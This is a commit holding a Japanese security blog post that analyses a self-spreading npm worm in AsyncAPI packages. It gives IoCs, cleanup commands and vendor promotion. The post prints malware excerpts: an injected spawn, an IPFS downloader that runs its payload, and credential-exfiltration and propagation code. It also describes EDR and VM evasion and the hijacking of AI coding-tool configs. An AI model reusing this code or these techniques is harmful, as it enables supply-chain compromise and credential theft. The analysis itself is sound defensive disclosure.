This commit is contained in:
2026-07-18 10:09:57 +09:00
parent 86cad348b4
commit 8f0e53766a
45 changed files with 6221 additions and 781 deletions
@@ -0,0 +1,467 @@
---
source_url: "https://blog.flatt.tech/entry/asyncapi_compromise"
ingested: 2026-07-16
sha256: 0b736a30423d8236fa17db6bfc71c296fa64ff60f1283a6cc60851d88aa79431
discovered_from:
platform: discord
channel_id: "1028287639918497822"
channel_name: "chat"
message_id: "1527115323306803330"
author_id: "890908900520505354"
posted_at: "2026-07-16T00:51:05.507000000Z"
message_excerpt: "Nostrリレーが悪用されてる https://blog.flatt.tech/entry/asyncapi_compromise"
---
2026年7月14日、AsyncAPI エコシステムの複数の npm パッケージに悪性コードが注入されました。一部は週間数百万ダウンロードされる、広く利用されているパッケージです。
注入された悪性コードは、ワーム型マルウェアです。 `require()` や `import` された際、開発者のもつ認証情報を盗み出す他、他の npm/PyPI/crates.io に悪性パッケージを公開する自己拡散能力を持っています。
本記事は、弊社が [Takumi Guard](https://flatt.tech/takumi/features/guard) の解析基盤をベースに観測&分析した情報を踏まえ、日本のコミュニティに向けて、影響と対策を中心に整理するものです。
![](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20260714/20260714210324.png)
## TL;DR - 対応指針
- 2026年7月14日以降に以下のパッケージを `npm install` した場合、マルウェア感染の可能性があります。
- `@asyncapi/[email protected]`
- `@asyncapi/[email protected]`
- `@asyncapi/[email protected]`
- `@asyncapi/[email protected]`
- `@asyncapi/[email protected]`
- **本検体はワーム型のマルウェアで、窃取したトークンを使って npm, PyPI, crates.io に悪性パッケージを公開する自己拡散能力を持ちます** 。上記パッケージからの連鎖感染にも注意が必要です。
- 影響を受けた可能性がある場合は、AWS, Kubernetes, Git, npm, CI/CD のクレデンシャルおよび環境変数内のシークレットを **即座にローテーション** してください。
- 感染端末では以下(RATの動作痕・永続化痕)を確認し、存在すれば永続化の停止&ファイル削除を試みてください。
- `~/.local/share/NodeJS/sync.js` (Linux), `~/Library/Application Support/NodeJS/sync.js` (macOS), `%LOCALAPPDATA%\NodeJS\sync.js` (Windows)の存在
- `~/.config/systemd/user/miasma-monitor.service` (Linux)による永続化
- `~/.config/.miasma/` ディレクトリおよび `~/node-key.json` の存在
- 各リポジトリで `.claude/settings.json`, `.claude/setup.mjs`, `.vscode/tasks.json`, `.gemini/settings.json`, `.cursor/rules/setup.mdc` の改変がないか確認してください。複数の AI コーディングツールの設定を書き換えて永続化が図られています。
- [Takumi Guard](https://flatt.tech/takumi/features/guard) では、悪性バージョンが公開約 2 分ほどでブロックされていました。また、弊社が確認している限り、Guard ユーザーには被害は発生していません。
- 今後の予防には、Takumi Guard や、minimum release age 設定(dependency cooldown)等の対策を推奨します。
## はじめに
本記事の目的は事態の把握と対応の促進であり、違法行為への加担・助長を意図するものではありません。 記述の一部には不正確な情報が含まれている可能性があります。 速報性を優先していますので、ご了承ください。
## タイムライン
以下に主要イベントのタイムラインを示します。
| 日時 (JST) | イベント |
| --- | --- |
| 7月14日 16:10 | `@asyncapi/[email protected]`, `[email protected]`, `[email protected]` が CI/CD 経由で npm に公開 |
| 7月14日 17:06 | `@asyncapi/[email protected]` が npm に公開 |
| 7月14日 17:30 | `@asyncapi/[email protected]` が npm に公開(alpha の 24 分後。 `index.js` は alpha と同一ハッシュで、同じ悪性コードを含む) |
## 侵害の仕組み
今回改ざんされたパッケージを `require()` すると、数段階の攻撃チェーンが発火します。本記事では `@asyncapi/[email protected]` の検体解析をもとに、本ワームの主要な仕組み・機能を概説します。
### Stage 0 — 悪性パッケージの公開
今回侵害されたパッケージの **正規の** `index.js` は、いくつかの `require()` と `module.exports` だけで構成されています。
一方、悪性バージョンでは先頭に `main()` 関数が挿入されており、 `child_process.spawn` により、難読化した JavaScript が `node -e` 経由で実行されるようになっています。
```js
// package/index.js:8-15(悪性コードの先頭部分)
async function main() {
try {
const child = spawn('node', ['-e', \`const _0x5af5e1=_0x285e;function _0x285e(...\`], {
detached: true,
stdio: 'ignore',
windowsHide: true
});
child.unref();
} catch (error) { ... }
}
main();
```
この際、子プロセスは `detached: true` で親から切り離して実行されます。従って、親プロセスとは異なるライフサイクルで動作することになります。また、 `stdio: 'ignore'` と `windowsHide: true` などの「気づかれにくい」ようにするオプションも有効化されています。正規の機能(スキーマエクスポートなど)はそのまま残されているため、見かけの動作は変わらない点にも注意してください。
### Stage 1 — 難読化ダウンローダ(IPFS 経由)
前段の Stage 0 で起動された子プロセスは、文字列配列ローテーション( `_0x285e` / `_0x3c84` )で難読化された HTTPS ダウンローダです。よくある難読化と言えます。
難読化を解くと、IPFS ゲートウェイから第 2 段ペイロードを取得し、OS ごとのパスに保存して実行するコードが出てきます。
```js
// 難読化を解除したダウンローダ(模擬コード)
const FILE_URL = 'https://ipfs.io/ipfs/...';
const FILE_NAME = 'sync.js';
// OS 別の保存先:
// Linux: ~/.local/share/NodeJS/sync.js
// macOS: ~/Library/Application Support/NodeJS/sync.js
// Windows: %LOCALAPPDATA%/NodeJS/sync.js
await downloadFile(FILE_URL, targetPath);
const child = spawn('node', [targetPath], {
detached: true, stdio: 'ignore', windowsHide: true
});
child.unref();
process.exit(0);
```
ダウンローダは `ipfs[.]io` ( `209.94.90.1:443` )に接続し、8.2 MB の暗号化ペイロード `sync.js` を取得します。保存先のディレクトリ名 `NodeJS` は、Node.js の正規ディレクトリに見せかけるための命名です。
### Stage 2 — 多層暗号化ペイロード
ダウンロードされた `sync.js` は 4 層構成で暗号化と難読化が施されています。(本検体の対応において、細かいことを把握する必要はありませんが、最近の検体はこの手の暗号化・難読化が施してあることが多いです。)
復号の流れを示します。
```
sync.js(8.2 MB)
└─ 大部分は 1 つの巨大な Base64 文字列
│
▼ ① AES-256-GCM 復号(鍵は HKDF-SHA256 で導出)
│
ROT エンコード済みテキスト(そのままでは読めない)
│
▼ ② ROT-4 逆シフト(printable ASCII 94 文字の範囲でシーザー暗号)
│
JavaScript ソースコード(約 92,000 行)
```
鍵素材 `rt-file-key-material-v1` を IKM、 `rt-file-key` を info として HKDF-SHA256 で 32 バイトの AES 鍵を導出し、先頭 12 バイトの IV と末尾 16 バイトの認証タグで AES-256-GCM を復号します。出てきたテキストは printable ASCII 範囲( `0x21` 〜 `0x7E` )で 4 文字ずらされたシーザー暗号(ROT-13 の亜種)で、これを逆シフトすると JavaScript として読めるようになります。
このほかにも、フレームワーク側には以下の難読化機構が組み込まれています。
- **String Vault** :コード中の機微な文字列(URL、コマンド名等)を個別に AES-256-GCM で暗号化し、 `S(id)` という関数呼び出しに置き換える仕組み。実行時にテーブルから復号します。ただし本検体は `profile=low` でビルドされており、テーブルのエントリ数は 0 — 文字列はすべて平文のまま残っていました。
- **変異エンジン** :ビルド時に変数名をランダムなハッシュ風識別子に置き換え、ジャンクコード(到達不能な分岐やダミー変数)を挿入します。ビルドのたびに異なるコードが生成されるため、ハッシュベースの検出を回避する狙いがあります。
復号後のコードの先頭には `// mutated v3 profile=low runtime=1 at=1784002253701` (2026-07-14T04:10:53Z)というコメントが挿入されています。本検体のマルウェアコードは、この時間帯にビルドされたようです。 `profile=low` はビルド時の難読化レベルを示すラベルで、本検体では String Vault が未使用、ジャンクコード挿入率も低めに設定されていました。
### Stage 3 — Miasma ワームフレームワーク
復号後のコードは `packages/core/dist/boot-worm.js` として構成された約 92,000 行の Node.js アプリケーションです。内部パスやサービス名に「Miasma」の名称が使われています( `miasma-monitor.service`, `~/.config/.miasma/` 等)。
Miasma 系 Variant は一時コードが公開されていたことがあり、本検体も、これをベースにしたものと推定されます。
以下では、本検体(ないしは本フレームワーク)の主要な仕組み・機能を概説します。
#### 機能:永続化
永続化は以下のように行われています:
| プラットフォーム | 手法 |
| --- | --- |
| Linux | `~/.config/systemd/user/miasma-monitor.service` を作成し、 `systemctl --user enable` で有効化 |
| macOS | `~/.zshrc`, `~/.bashrc`, `~/.bash_profile` に nohup 起動ブロックを追記(デリミタで囲む) |
| Windows | `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` にレジストリキーを追加 |
最近の検体はたいてい、クロスプラットフォームで永続化が実装されていますが、この手法は検体間でも似通っており、ここには特筆すべき点がなさそうです。いつもの検体です。
#### 機能:C2 機構を通じた遠隔操作
ワームは C2 サーバ(本検体では `85[.]137[.]53[.]71:8080` )に対して 30 秒間隔(20% のジッタ付き)で `POST /api/v1/beacon` にビーコンを送信し、レスポンスに含まれる指令を受け取ります。
ビーコンのペイロードには `nodeId` (感染ノードの識別子)、 `beaconSeq` (単調増加のシーケンス番号)、 `os` / `arch` / `hostname` などのホスト情報、 `collectionStatus` (クレデンシャル収集の状態)などが含まれます。送信前にノード鍵と攻撃者公開鍵の ECDH 鍵共有から導出した AES-256-GCM で暗号化され、署名は暗号文に対して行われます(sig-over-ciphertext)。C2 側はプロキシとして署名を検証できますが、ペイロードを復号できるのは攻撃者の秘密鍵を持つ者だけ、という設計です。
指令はビーコンのレスポンスボディ( `resp.commands` または `resp.encryptedCommands` )に載って返ってきます。C2 が受け付ける指令は 12 種類です。
| ID | 指令名 | 内容 |
| --- | --- | --- |
| 1 | Propagate | npm, PyPI, crates.io への自己拡散 |
| 2 | CollectData | クレデンシャルの収集と送出 |
| 3 | UpdateSeed | 変異エンジンのシード更新 |
| 4 | UpdatePayload | ペイロードの差し替え |
| 5 | ManualWipe | 自己消去 |
| 6 | BatchDispatch | サブコマンドの一括実行 |
| 7 | FileList | ファイル一覧の取得 |
| 8 | FileGet | 被害端末からのファイル取得 |
| 9 | FilePut | 被害端末へのファイル書き込み |
| 10 | FileDelete | ファイルの削除 |
| 11 | ShellExec | 任意のシェルコマンド実行 |
| 12 | UpdateBeaconInterval | ビーコン間隔の変更 |
`ShellExec` と `FilePut` があるため、攻撃者は感染端末を自由に遠隔操作できます。RATに近い検体ですね。他のワーム系検体が通常単なる infostealer であることを加味すると、本検体は、やや高機能な検体という印象です。
#### 機能:クレデンシャル窃取
ワームは 6 種類のクレデンシャルを探索します。
| ソース ID | 対象 |
| --- | --- |
| SRC\_AWS (1) | AWS クレデンシャル |
| SRC\_KUBE (2) | Kubernetes トークン / kubeconfig |
| SRC\_ENV (3) | 環境変数 |
| SRC\_GIT (4) | Git クレデンシャル |
| SRC\_CI (5) | CI/CD トークン |
| SRC\_NPM\_TOKEN (6) | npm 認証トークン |
収集は 2 つのタイミングで走ります。1 つは C2 からの `CollectData` 指令を受けたとき、もう 1 つはワーム拡散( `trySpread` )の前処理として自動で実行されるときです。後者は初回ビーコン直後に走るため、C2 指令を待たずにクレデンシャルが窃取されます。
ワームは窃取したクレデンシャルを攻撃者の公開鍵で暗号化し、C2 または IPFS 経由で送出します。以下は `packages/core/dist/boot-worm.js` 内の `harvestAndExfil` 関数から抽出した送出処理です。(なお、シンボル名( `commandCipher`, `KIND_DATA_EXFIL_CHUNK` 等)は検体内でも用いられている名前であり、今後の検体との比較・紐づけのためにこの点も模してあります。)
```js
// boot-worm.js — harvestAndExfil(抜粋)
const credEnv = commandCipher.encryptResult(
{ value: c.rawValue },
\`c-${nodeId}-${seq2}-${c.source}\`
);
const chunk = {
kind: KIND_DATA_EXFIL_CHUNK, // = 5
dataSource: DS_CREDENTIAL, // = 1
encryptedPayload: credEnv.wireB64,
...
};
await channels.c2.uploadData(chunk);
```
`commandCipher` はノード鍵と攻撃者公開鍵の ECDH 共有秘密から生成された `CommandCipher` インスタンス( `packages/core/dist/comm/channel-orchestrator.js` )で、送出データの暗号化に使われます。
#### 機能:マルチチャネル P2P 通信
「Miasma」は通信経路を 1 つに頼らない設計なようです。 `packages/core/dist/boot-worm.js` の `buildChannelSet()` で 7 つのチャネルが一括で初期化され、 `ChannelOrchestratorImpl` ( `packages/core/dist/comm/channel-orchestrator.js` )がフェイルオーバーを管理します。チャネルの初期化はワーム起動直後( `bootWorm()` 序盤)に自動で行われます。
| チャネル | 用途 |
| --- | --- |
| C2 HTTPS API | ビーコンと指令のプライマリチャネル( `/api/v1/beacon`, `/api/v1/commands` ) |
| IPFS | ペイロードのホスティングとデータアップロード |
| Nostr リレー | 分散型の指令中継とピア発見 |
| libp2p / GossipSub | P2P メッシュネットワーク |
| BitTorrent DHT | ピア発見( `router.bittorrent.com`, `dht.transmissionbt.com` ) |
| mDNS | ローカルネットワーク内のピア発見 |
| Ethereum ブロックチェーン | `ServiceDirectory` スマートコントラクトによるフェイルオーバーアドレス解決 |
C2 サーバが落ちても、残りのチャネルで指令が届きうる設計と言えます。
#### 機能:LAN スキャンと横展開
ワームは 60 秒ごとのディスカバリタイマーでピア探索を行います。LAN スキャン( `packages/core/dist/comm/subnet-scan.js` )は Tier-4 フォールバックとして、libp2p と DHT の両方でピアが見つからないとき(インターネット遮断時など)に発動します。
スキャン対象は RFC 1918 プライベートアドレス空間( `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` )で、ローカルの /24 サブネット上の全ホストにポート 4100(libp2p と共通のリッスンポート)へ TCP 接続を試行します。64 並列、400 ms タイムアウトです。
メッシュを形成した感染ノード間では `crossReinforce()` でルーティングテーブルを相互注入し、ビーコン中継やデータ送出の代替経路として使います。C2 や IPFS が到達不能でも、LAN 内のピア経由で指令を受け取れる仕組みです。
#### 機能:ワーム拡散(npm, PyPI, crates.io)
ワームは初回ビーコン直後に `trySpread()` ( `packages/core/dist/boot-worm.js` )を自動実行します。C2 からの `Propagate` 指令でも発動しますが、C2 指令を待たずに拡散を試みる点が重要です。
拡散時、まず `harvestAndExfil()` でクレデンシャルを収集し、窃取したトークンを使って npm, PyPI, crates.io の 3 エコシステムに悪性パッケージを公開します。
```js
// 拡散先エコシステムの選択と実行
if (toggles.propagate.npm) enabled.push("npm");
if (toggles.propagate.pypi) enabled.push("pypi");
if (toggles.propagate.cargo) enabled.push("crates");
// ... 変異エンジンで子ペイロードを生成 ...
const spec = { ecosystem, tokens, payloadBlob: blob };
const res = await activeRuntime.spreadRemote(spec);
```
拡散時、子ワームには ECDSA 署名のスポーン証明書チェーン(最大 4 世代)が付き、変異エンジンが変数名やジャンクコード、ROT シフトを変えた新しいペイロードを生成します。
スポーン証明書チェーン( `packages/core/dist/utils/spawn-cert.js` )は PKI に似た信頼チェーンで、攻撃者のルート鍵から各世代のワームまでを ECDSA 署名で繋ぎます。ワームは起動時にこのチェーンを検証し、正規の子孫でなければ即座に停止します。世代が `maxGen` (本検体では 4)を超えた場合も拡散を拒否します。無制限の拡散を防ぎ、攻撃者が制御を維持するための仕組みと考えられます。
#### 機能:AI ツール汚染
ワームは `bootWorm()` 起動時に一度だけ、 `DefaultAiToolPoisoner` ( `packages/core/dist/recon/ai-tool-poisoner.js` )を実行して AI コーディングツール設定を書き換え、感染を永続化します。
| 対象ファイル | 内容 |
| --- | --- |
| `.claude/settings.json` | SessionStart フックで感染コードを再実行 |
| `.claude/setup.mjs` | C2 参照のランチャースクリプトを注入 |
| `.vscode/tasks.json` | フォルダオープン時にペイロードを起動するタスクを追加 |
| `.gemini/settings.json` | Gemini セッションランチャーを注入 |
| `.cursor/rules/setup.mdc` | Cursor ルールランチャーを注入 |
この機能は設定内の `poisonAI` トグルで制御されています。 汚染されたリポジトリをこれらのツールで開くと、自動実行の仕組みをきっかけに再感染します。
#### 機能:サンドボックス回避
ワームはビーコンループの開始前に `DefaultSandboxGuard` ( `packages/core/dist/evasion/sandbox-guard.js` )で環境チェックを行います。チャネル初期化やファイルマネージャのセットアップが終わった後、指令の受信を始める前のタイミングです。
検出対象は以下の 3 カテゴリなようです:
- **VM 検出** :ネットワークインターフェースの MAC アドレス OUI プレフィクスを照合。 `00:05:85`, `00:0C:29`, `00:50:56` (VMware)、 `08:00:27` (VirtualBox)、 `00:16:3E` (Xen)などが対象。加えて CPU モデル文字列に `virtual`, `vmware`, `qemu`, `kvm` が含まれるかを確認。Linux では `uname -v` の出力も検査。
- **EDR 検出** :プロセスリスト(Unix: `ps -eo comm` 、Windows: `Get-Process` )をスキャンし、CrowdStrike( `falcon` )、SentinelOne、Microsoft Defender( `msmpeng` )、CarbonBlack( `cb` )、Cylance、Osquery、Tanium、Qualys のプロセスを探すよう。
- **ロシア語ロケール検出** : `process.env.LANG` または `process.env.LC_ALL` が `ru` で始まる場合に検出するよう。
いずれかに該当すると `shutdown()` を呼んで実行を中止します。
## 影響を受けたパッケージ
| パッケージ | 悪性バージョン | 安全なバージョン | 備考 |
| --- | --- | --- | --- |
| `@asyncapi/specs` | `6.11.2-alpha.1` | `6.11.1` 以前 | 本記事の解析対象。SLSA provenance 付き |
| `@asyncapi/specs` | `6.11.2` | `6.11.1` 以前 | `index.js` が alpha と同一ハッシュ(同一の悪性コード) |
| `@asyncapi/generator` | `3.3.1` | `3.3.0` 以前 | `next` ブランチへの不正コミット → CI/CD publish。npm OIDC provenance 付き |
| `@asyncapi/generator-helpers` | `1.1.1` | `1.1.0` 以前 | 同上 |
| `@asyncapi/generator-components` | `0.7.1` | `0.7.0` 以前 | 同上 |
`@asyncapi/[email protected]` は stable リリースのため、 `^6.11.1` や `~6.11.1` のようなセマンティックバージョニングレンジに合致します。alpha 版よりも影響範囲が広い可能性があります。
「Miasma」は窃取した npm, PyPI, crates.io のトークンで他のパッケージに感染を広げる能力を備えています。 上記以外のパッケージが侵害されている可能性があり、 `@asyncapi` スコープの他のパッケージについても監査が必要です。
## 対応指針
以下は公開情報を踏まえた参考情報であり、記録として示すものです。正確性・網羅性を保証するものではなく、本指針に基づく対応の結果について筆者は一切の責任を負いません。実際の対応は各組織の判断に基づいて行ってください。
### 影響確認
`package-lock.json` または `node_modules/` に影響を受けたバージョンが存在するか確認してください。 `~/.local/share/NodeJS/sync.js` や `~/.config/.miasma/` の存在によっても確認できます。
```bash
# 依存の確認
grep -rE '6\.11\.2(-alpha\.1)?|@asyncapi/generator.*3\.3\.1|generator-helpers.*1\.1\.1|generator-components.*0\.7\.1' package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# ドロップファイルの確認
ls -la ~/.local/share/NodeJS/sync.js 2>/dev/null # Linux
ls -la ~/Library/Application\ Support/NodeJS/sync.js 2>/dev/null # macOS
# 永続化の確認(Linux)
ls -la ~/.config/systemd/user/miasma-monitor.service 2>/dev/null
systemctl --user status miasma-monitor 2>/dev/null
ls -la ~/.config/.miasma/ ~/node-key.json 2>/dev/null
# 永続化の確認(macOS)
grep -l 'miasma' ~/.zshrc ~/.bashrc ~/.bash_profile 2>/dev/null
# 永続化の確認(Windows)
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v miasma-monitor 2>nul
dir "%LOCALAPPDATA%\NodeJS\sync.js" 2>nul
# AI ツール設定の改変
git diff HEAD -- .claude/ .vscode/tasks.json .gemini/ .cursor/rules/
```
### 除去
感染したパッケージをアンインストールするか、侵害前のバージョンに切り替えてください( `@asyncapi/specs` は `6.11.1` 以前、 `@asyncapi/generator` は `3.3.0` 以前)。lockfile に悪性バージョンが含まれる場合は、削除してクリーンインストールを行ってください。
そのうえで、永続化機構の削除を行ってください。
```bash
# ワームプロセスの停止
pgrep -f 'sync.js' | xargs kill -9 2>/dev/null
# Linux: systemd サービスの無効化と除去
systemctl --user stop miasma-monitor.service 2>/dev/null
systemctl --user disable miasma-monitor.service 2>/dev/null
rm -f ~/.config/systemd/user/miasma-monitor.service
systemctl --user daemon-reload
# Linux: ドロップファイルとワーム関連ファイルの除去
rm -rf ~/.local/share/NodeJS/
rm -rf ~/.config/.miasma/
rm -f ~/node-key.json
```
```bash
# macOS: シェル RC ファイルから Miasma マーカーを除去
grep -l 'miasma' ~/.zshrc ~/.bashrc ~/.bash_profile 2>/dev/null
# 該当ファイルから miasma マーカー間のブロックを手動で削除
# macOS: ドロップファイルの除去
rm -rf ~/Library/Application\ Support/NodeJS/
```
```powershell
# Windows: レジストリキーの除去
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v miasma-monitor /f
# Windows: ドロップファイルの除去
Remove-Item -Recurse -Force "$env:LOCALAPPDATA\NodeJS"
```
### クレデンシャルのローテーション
「Miasma」は AWS, Kubernetes, Git, npm, CI/CD のクレデンシャルと環境変数内のシークレットを窃取対象としています。ワーストケースを想定して、感染端末からアクセス可能だった全てのシークレットに関して、ローテーションを推奨します。
また、感染端末の npm, PyPI, crates.io アカウントから不審なパッケージが公開されていないか確認してください。ワームが窃取したトークンで勝手に publish している可能性があります。
## 推奨:自衛手段の整備
4〜5月の Mini Shai-Hulud、そして今回の AsyncAPI の侵害と、npm エコシステムへのワーム型サプライチェーン攻撃が連続して発生しています。以下の多層防御を整備してください。
### Lifecycle script の無効化
CI/CD では以下を標準ポリシーにしてください。
```bash
npm ci --ignore-scripts
```
> **補足(npm v12)** :npm v12 では lifecycle script がデフォルトで無視されるようになりました。v12 以降の環境であれば `--ignore-scripts` の明示は不要ですが、CI/CD の npm バージョンが混在している場合は引き続き明示指定を推奨します。
ただし今回の `@asyncapi/specs` では、悪性コードが `index.js` 本体に注入されており `require()` 時に発火します。 **lifecycle script の無効化では防げません。** 後述の検疫期間やレジストリ側ブロックで補完してください。
### Dependency Cooldown の設定(min-release-age)
npm v11 以降では `.npmrc` に `min-release-age` を設定することで、公開から一定期間が経過していないバージョンのインストールを抑止できます。今回の悪性バージョンはいずれも短時間でテイクダウンされており、検疫期間を入れていた環境はインストールに至っていません。7 日推奨、急ぐ場合でも 3 日は確保してください。
```
# .npmrc
min-release-age=7
```
> **補足(npm v12)** :npm v12 ではデフォルトで 1 日( `1d` )の cooldown が有効になっています。何も設定しなくても公開から 24 時間以内のバージョンはインストールされません。ただし今回の `@asyncapi/specs` のように数時間テイクダウンまでかかったケースを考えると、7 日以上への引き上げを推奨します。
### Provenance attestation の検証
今回の侵害では、 `@asyncapi/generator` 等は正規の CI/CD パイプライン経由で publish されたため有効な npm OIDC provenance が付いています。 `@asyncapi/specs` にも SLSA provenance が付いています。攻撃者がパイプライン自体を侵害したケースでは、provenance の有無だけでは悪性版を見分けられません。
provenance は依然として有効な防御レイヤーですが(直接トークンで publish するケースには有効)、CI/CD パイプラインの侵害に対しては十分ではありません。 `min-release-age` や Takumi Guard 等の多層防御と組み合わせてください。
### 悪意のある依存をブロック(Takumi Guard)
弊社(GMO Flatt Security)から、 [セキュアなレジストリプロキシ Takumi Guard の npm エンドポイント](https://flatt.tech/takumi/features/guard) をリリースしています。今回の検体は、公開からおよそ 2 分でブロックまでが完了しており、被害がゼロに抑えられています。
Takumi Guard は npm(レジストリ)との間に位置するセキュリティプロキシで、悪意あるパッケージがブロックされます。 弊社で全ての新規パッケージを検査し、ブロックリストを構築しています。 PyPI / RubyGems / Packagist / Go Modules にも対応済です。導入は registry URL の変更のみで完了し、無料で利用可能です。
```bash
# npm
npm config set registry https://npm.flatt.tech/
# yarn v1
yarn config set registry https://npm.flatt.tech
# yarn v2+
yarn config set npmRegistryServer https://npm.flatt.tech
# pnpm
pnpm config set registry https://npm.flatt.tech/
```
仮にある時点でパッケージがマルウェアと判定できずブロックできなかった場合も、後日の通知を行う仕組みもあります(本機能も無料です)。 通知のためにはメールアドレス登録が必要となりますので、下記ページよりご登録ください。
複数端末の一括セットアップや管理者への通知など、法人向け管理機能(有償)も提供しています。 ご興味のある方は [お問い合わせ](https://flatt.tech/contact) ください。
## IoCs
### ハッシュ(SHA-256)
| ファイル | SHA-256 |
| --- | --- |
| tarball( `@asyncapi/[email protected]` ) | `d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7` |
| tarball( `@asyncapi/[email protected]` ) | `9b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b` |
| `package/index.js` (悪性版、両バージョン共通) | `8351d251cf0b5a0bd82242deaa0a14e3e1394418d55c0f4259dac4303b79fc0c` |
| Stage 2 ペイロード(IPFS 取得、暗号化状態) | `e9544a648d8fbaccd01b8477cf68471d48b89bf93eeacbdf5bba20fd296ff7b5` |
| Stage 2 ペイロード(復号後) | `f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b` |
### ネットワーク
| 種別 | 値 | 備考 |
| --- | --- | --- |
| IP | `209.94.90.1` | IPFS ゲートウェイ( `ipfs[.]io` ) ※これをそのままブロックするのは、場合によっては過剰かもしれませんので、注意ください |
| IP | `85.137.53.71:8080` | C2 またはリレーと推定される接続先 |
| ドメイン | `router.bittorrent.com` | BitTorrent DHT ブートストラップ |
| ドメイン | `dht.transmissionbt.com` | BitTorrent DHT ブートストラップ |
### ファイルパス
| パス | 備考 |
| --- | --- |
| `~/.local/share/NodeJS/sync.js` | Linux ドロップ先 |
| `~/Library/Application Support/NodeJS/sync.js` | macOS ドロップ先 |
| `%LOCALAPPDATA%\NodeJS\sync.js` | Windows ドロップ先 |
| `~/.config/.miasma/run/node.lock` | シングルトンロックファイル |
| `~/node-key.json` | ワームノードの ECDSA 鍵ペア |
| `~/.config/systemd/user/miasma-monitor.service` | Linux 永続化ユニット |
### プロセスとサービス
| 種別 | 値 |
| --- | --- |
| systemd サービス名 | `miasma-monitor.service` |